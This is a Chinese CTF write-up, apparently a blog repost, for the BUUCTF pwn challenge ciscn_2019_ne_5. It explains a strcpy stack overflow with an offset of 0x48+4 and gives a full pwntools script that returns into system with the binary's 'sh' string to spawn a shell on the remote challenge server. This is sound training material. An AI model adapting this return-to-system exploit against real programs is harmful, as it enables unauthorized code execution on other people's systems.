当前位置: 首页 > news >正文

PWN手的成长之路-18-ciscn_2019_ne_5-rettext

image

file,checksec:
image

查看 main 函数,发现了有一个 get_flag 函数。
image

查看 get_flag 函数,发现存在溢出。strcpy 函数会复制 src 的数据并赋值给 dest ,这里会造成溢出。
image

且溢出大小为:0x48 + 4 (加 4 是因为此程序是 32 位的)
image

并且在 print 函数中发现了 system 函数。
image

之后尝试查找字符串 /bin/sh,并没有,但是找到了 sh。
image

exp:

from pwn import *
from LibcSearcher import *#start
r = remote('node5.buuoj.cn',29109)
elf = ELF('./pwn')
context.log_level = 'debug'#params
sh_addr = 0x80482EA
#system_addr = 0x80484D0
system_addr = elf.sym['system']
main_addr = elf.sym['main']#attack
payload = b'a'*(0x48+4) + p32(system_addr) + p32(main_addr) + p32(sh_addr)
r.sendlineafter(b'password','administrator')
r.sendlineafter(b':',b'1')
r.sendline(payload)
r.sendline(b'4')
r.interactive()
http://www.zskr.cn/news/22579.html

相关文章:

  • 3.springboot-容器机制-@注解
  • 日志分析-windows日志分析base
  • 课后作业3
  • KMP和Manacher
  • 索引有什么作用?
  • LinuxC++——etcd-cpp-api精简源代码函数参数查询参考 - 教程
  • mongoDB体验
  • TELUS如何通过Google技术栈实现业务增长与生产力跃升
  • 你的程序为何卡顿?从LINUX I/O三大模式寻找答案
  • 日总结 13
  • 题解:P8019 [ONTAK2015] OR-XOR
  • DP 思维好题(转载)
  • python sse的是什么?
  • 万字长文详述单据引擎原理、流程、单据管理 - 智慧园区
  • 【比赛记录】2025NOIP 冲刺模拟赛合集I
  • 12 继承--instanceof和类型转换
  • CSDN Markdown 编辑器快捷键大全 - 实践
  • Java了解
  • NVIDIA Jetson AGX Xavier刷机教程
  • 洛谷p1462-通往奥格瑞码道路
  • AI安全新威胁:提示注入与模型中毒攻击深度解析
  • Codeforces 380E Sereja and Dividing 题解 [ 紫 ] [ 线段树 ] [ 贪心 ] [ 数学 ]
  • JPA教程
  • v-model 的实现原理
  • 详细介绍:【译】Visual Studio 中针对 .NET MAUI 的 XAML 实时预览功能的增强
  • docker镜像层和容器层
  • 2025.10.16总结 - A
  • 20251016 正睿二十连测
  • [贝佐斯-六页纸]
  • 感知节点@7@ ESP32+arduino+ 第五个程序FreeRTOS 上 增加一个新任务ADC任务